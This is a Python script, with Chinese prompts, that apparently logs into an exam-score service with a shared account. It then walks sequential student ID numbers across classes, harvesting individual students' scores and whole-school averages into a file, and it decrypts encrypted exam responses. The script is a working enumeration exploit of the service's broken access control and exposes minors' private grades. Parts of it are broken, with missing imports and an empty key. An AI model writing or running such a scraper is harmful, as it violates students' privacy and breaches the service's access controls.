1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210
| import requests import threading import os from pprint import pprint
class QiTian: @staticmethod def decrypt(ciphertext: str) -> str: key_bytes = ''.encode('utf-8') decrypter = AES.new(key_bytes, AES.MODE_ECB) ciphertext_base64_bytes = ciphertext.encode('utf-8') ciphertext_bytes = base64.b64decode(ciphertext_base64_bytes) plaintext_bytes_padded = decrypter.decrypt(ciphertext_bytes) plaintext_bytes = unpad(plaintext_bytes_padded, AES.block_size, 'pkcs7') plaintext = plaintext_bytes.decode('utf-8') return plaintext
@staticmethod def login(): url = "https://szone-my.7net.cc/login" headers = { "Accept-Charset": "UTF-8", "Cookie": "aliyungf_tc=00000000000000000", "Version": "4.4.2", "User-Agent": "", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "szone-my.7net.cc", "Connection": "Keep-Alive", "Accept-Encoding": "gzip" } pwd = '' pwd = base64.b64encode(f'{pwd}.{MTgyMjU2MDU0MjF7c3pvbmV9}'.encode('utf-8')).decode('utf-8') data = { "password": pwd, "userCode": "18888888888" } response = requests.post(url, headers=headers, data=data) response_data = response.json() if response_data['status'] == 200: print("成功获取虚拟账号token") QiTian.get_user_info(response_data['data']['token']) return response_data['data']['token'] else: print("登录失败,错误信息:", response_data['message']) return None
@staticmethod def get_user_info(token): url = "https://szone-my.7net.cc/userInfo/GetUserInfo" headers = { "Accept-Charset": "UTF-8", "Cookie": "aliyungf_tc=00000000000000000", 'Token': token, "Version": "4.4.2", "User-Agent": "", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "szone-my.7net.cc", "Connection": "Keep-Alive", "Accept-Encoding": "gzip" } response = requests.get(url, headers=headers).json() return response
@staticmethod def check_college_status(exam_guid, student_code, ru_code, token): url = "https://szone-my.7net.cc/SDX/CheckCollegeStatus" headers = { "Accept-Charset": "UTF-8", "Cookie": "aliyungf_tc=000000000000000000", "Version": "4.4.2", "Token": token, "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "szone-my.7net.cc", "Connection": "Keep-Alive", "Accept-Encoding": "gzip" } data = { "examGuid": exam_guid, "studentCode": student_code, "ruCode": ru_code } response = requests.post(url, headers=headers, data=data) return response.json()
@staticmethod def calculate_average_score(scores): total = sum(score for score in scores if isinstance(score, int) and score > 0) count = sum(1 for score in scores if isinstance(score, int) and score > 0) return total / count if count > 0 else 0
@staticmethod def check_class_scores(class_code, exam_guid, ru_code, token, results): scores_with_student_code = [] for i in range(1, 51): student_code = f"2024{class_code}0{i:02d}" response = QiTian.check_college_status(exam_guid, student_code, ru_code, token) if response['status'] == 200: try: score = int(response['data']['originalScore']) if score > 0: scores_with_student_code.append((student_code, score)) print(f"学号:{student_code} 的分数为:{score}") except (ValueError, KeyError): print(f"学号:{student_code} 的分数无法解析或不存在") results.append((class_code, scores_with_student_code))
@staticmethod def save_data_to_file(results, file_name='school_data.txt', base_path=''): if not os.path.exists(base_path): os.makedirs(base_path)
file_path = os.path.join(base_path, file_name) total_data_count = sum(len(scores) for _, scores in results) with open(file_path, 'w', encoding='utf-8') as file: file.write(f"@KE1 - 总数据条数:{total_data_count}\n") for class_code, scores in sorted(results): scores.sort(key=lambda x: x[0]) file.write(f"班级{class_code}成绩:\n") for student_code, score in scores: file.write(f"{student_code}: {score}\n") class_avg = QiTian.calculate_average_score([s for _, s in scores]) file.write(f"班级{class_code}平均分:{class_avg:.2f}\n") overall_scores = [s for _, scores in results for _, s in scores] overall_avg = QiTian.calculate_average_score(overall_scores) file.write(f"全校平均分:{overall_avg:.2f}") return file_path, overall_avg
@staticmethod def get_school_data(exam_guid, ru_code, token): results = [] threads = [] for i in range(4, 19): class_code = str(i).zfill(2) thread = threading.Thread(target=QiTian.check_class_scores, args=(class_code, exam_guid, ru_code, token, results)) threads.append(thread) thread.start()
for thread in threads: thread.join()
file_path, overall_avg = QiTian.save_data_to_file(results) print(f"数据已保存到文件:{file_path}") print(f"全校平均分为:{overall_avg:.2f}")
@staticmethod def get_first_exam(student_name, school_guid, grade, token): url = f'https://szone-score.7net.cc/exam/getClaimExams?startIndex=0&rows=8&studentName={student_name}&schoolGuid={school_guid}&grade={grade}' headers = { 'User-Agent': "Mozilla/5.0 (Linux; Android 12; XT2175-2 Build/S3RXC32.33-8-7; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/135.0.7049.111 Mobile Safari/537.36", 'Accept-Encoding': "gzip", 'accept-charset': "UTF-8", 'version': "4.5.1", 'token': token, 'Cookie': "aliyungf_tc=000000000000000000000000000" } response = requests.get(url, headers=headers).json() if response['status'] == 200: if response['data']['isEncrypt']: data = QiTian.decrypt(response['data']['content']) return data
@staticmethod def main(): exam_guid = "20250112-1019-313f-68f1-65b010517258" ru_code = "1504008"
token = QiTian.login() if token: while True: choice = input("1.查个人分数\n2.查班级分数\n3.查全校分数\n4.结束脚本\n输入以选择操作:")
if choice.lower() == '4': print("脚本已结束。") break elif choice == '1': student_code = input("请输入您的考号:") response = QiTian.check_college_status(exam_guid, student_code, ru_code, token) if response['status'] == 200: print(f"考号:{student_code} 的分数为:{response['data']['originalScore']}") else: print(f"查询失败,错误信息:{response['message']}") elif choice == '2': class_code = input("请输入班级号:") scores = [] for i in range(1, 51): student_code = f"180923{class_code}{i:02d}" response = QiTian.check_college_status(exam_guid, student_code, ru_code, token) if response['status'] == 200: try: score = int(response['data']['originalScore']) if score > 0: scores.append((student_code, score)) print(f"学号:{student_code} 的分数为:{score}") except (ValueError, KeyError): print(f"学号:{student_code} 的分数无法解析或不存在") class_avg = QiTian.calculate_average_score([s for _, s in scores]) print(f"班级{class_code}平均分:{class_avg:.2f}") elif choice == '3': QiTian.get_school_data(exam_guid, ru_code, token) else: print("无效的选择,请重新输入。") else: print("无法获取token,脚本已结束。")
if __name__ == "__main__": QiTian.main()
|